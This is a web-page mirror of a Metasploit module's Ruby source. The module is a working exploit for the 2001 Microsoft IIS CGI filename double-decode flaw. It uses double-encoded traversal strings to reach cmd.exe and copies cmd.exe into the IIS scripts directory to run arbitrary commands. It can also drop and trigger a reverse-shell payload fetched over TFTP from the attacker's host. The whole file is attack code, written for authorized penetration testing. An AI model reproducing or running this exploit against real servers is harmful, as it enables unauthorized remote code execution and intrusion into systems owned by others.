CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/ms01_026_dbldecode.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
18
'Description' => %q{
19
This module will execute an arbitrary payload on a Microsoft IIS installation
20
that is vulnerable to the CGI double-decode vulnerability of 2001.
21
22
This module has been tested successfully on:
23
24
Windows 2000 Professional (SP0) (EN);
25
Windows 2000 Professional (SP1) (AR);
26
Windows 2000 Professional (SP1) (CZ);
27
Windows 2000 Server (SP0) (FR);
28
Windows 2000 Server (SP1) (EN); and
29
Windows 2000 Server (SP1) (SE).
30
31
Note: This module will leave a Metasploit payload exe in the IIS scripts directory.
32
},
33
'Author' => [ 'jduck' ],
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'CVE', '2001-0333' ],
37
[ 'OSVDB', '556' ],
38
[ 'BID', '2708' ],
39
[ 'MSB', 'MS01-026' ],
40
[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
41
],
42
'Platform' => 'win',
43
'Targets' => [
44
[
45
'Windows (Dropper)',
46
{
47
'Platform' => 'win',
48
'Arch' => [ARCH_X86],
49
'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' },
50
'Type' => :win_dropper
51
}
52
],
53
[
54
'Windows (Command)',
55
{
56
'Platform' => 'win',
57
'Arch' => ARCH_CMD,
58
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' },
59
'Type' => :win_command
60
}
61
]
62
],
63
'CmdStagerFlavor' => 'tftp',
64
'Notes' => {
65
'Stability' => [ CRASH_SAFE ],
66
'Reliability' => [ REPEATABLE_SESSION ],
67
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
68
},
69
'DefaultTarget' => 0,
70
'DisclosureDate' => '2001-05-15'
71
)
72
)
73
74
register_options(
75
[
76
Opt::RPORT(80),
77
OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]),
78
OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ])
79
]
80
)
81
82
self.needs_cleanup = true
83
end
84
85
def dotdotslash
86
[
87
'..%255c',
88
'..%%35c',
89
'..%%35%63',
90
'..%25%35%63',
91
'.%252e/',
92
'%252e./',
93
'%%32%65./',
94
'.%%32%65/',
95
'.%25%32%65/',
96
'%25%32%65./'
97
].sample
98
end
99
100
# Detect the correct Windows directory name.
101
# Unfortunately, the IIS scripts directory must
102
# be located on the same drive as %SystemRoot%.
103
def detect_windows_directory
104
win_dirs = %w[winnt windows]
105
matches = [
106
'Directory of',
107
'\\inetpub\\',
108
"\\scripts\r\n"
109
]
110
111
win_dirs.each do |dir|
112
res = execute_command('dir', windir: dir)
113
next unless res
114
next unless res.code == 200
115
next unless res.body
116
117
matches.each do |m|
118
return dir if res.body.to_s.include?(m)
119
end
120
end
121
122
nil
123
end
124
125
def check
126
win_dir = detect_windows_directory
127
win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe
128
end
129
130
def execute_command(cmd, opts = {})
131
# Don't run the start command...
132
# We'll execute the payload via IIS later.
133
# Using the "start" method doesn't seem to make IIS very happy :(
134
return if cmd.start_with?('start') && cmd.include?('.exe')
135
136
vprint_status("Executing command: #{cmd}")
137
if opts[:cgifname]
138
cmd_path = opts[:cgifname]
139
else
140
cmd_path = ''
141
datastore['DEPTH'].times { cmd_path << dotdotslash }
142
cmd_path << (opts[:windir] || @win_dir)
143
cmd_path << '/system32/cmd.exe'
144
end
145
uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}"
146
send_request_cgi({ 'uri' => uri }, 20)
147
end
148
149
def copy_cmd_exe_to_scripts_directory
150
fname = "#{rand_text_alphanumeric(4..7)}.exe"
151
print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...")
152
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}")
153
fail_with(Failure::Unknown, 'No reply from server') unless res
154
fname
155
end
156
157
def exploit
158
@win_dir = datastore['WINDIR'] || detect_windows_directory
159
160
fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir
161
162
print_status("Using Windows directory \"#{@win_dir}\"")
163
164
@cmd_exe_fname = copy_cmd_exe_to_scripts_directory
165
166
case target['Type']
167
when :win_command
168
res = execute_command(payload.encoded, cgifname: @cmd_exe_fname)
169
170
if res && res.body
171
cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{<pre>(.*?)</pre>}m).flatten.first.to_s
172
if cmd_res.strip.blank?
173
print_status('Command returned no output')
174
else
175
print_good('Command output:')
176
print_line(cmd_res)
177
end
178
else
179
print_error('No reply')
180
end
181
when :win_dropper
182
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
183
execute_cmdstager(
184
temp: '.',
185
linemax: 1_400,
186
cgifname: @cmd_exe_fname,
187
tftphost: tftphost,
188
# Force noconcat so we can skip the "start" command in execute_command method
189
noconcat: true,
190
# We can't delete the payload while it is running, so don't try
191
nodelete: true
192
)
193
194
exe_payload = stager_instance.payload_exe
195
register_file_for_cleanup(exe_payload)
196
197
print_status("Triggering payload \"#{exe_payload}\" via a direct request...")
198
send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1)
199
end
200
end
201
202
# Remove the copied cmd.exe from the IIS scripts directory
203
def cleanup
204
execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname
205
ensure
206
super
207
end
208
end
209
210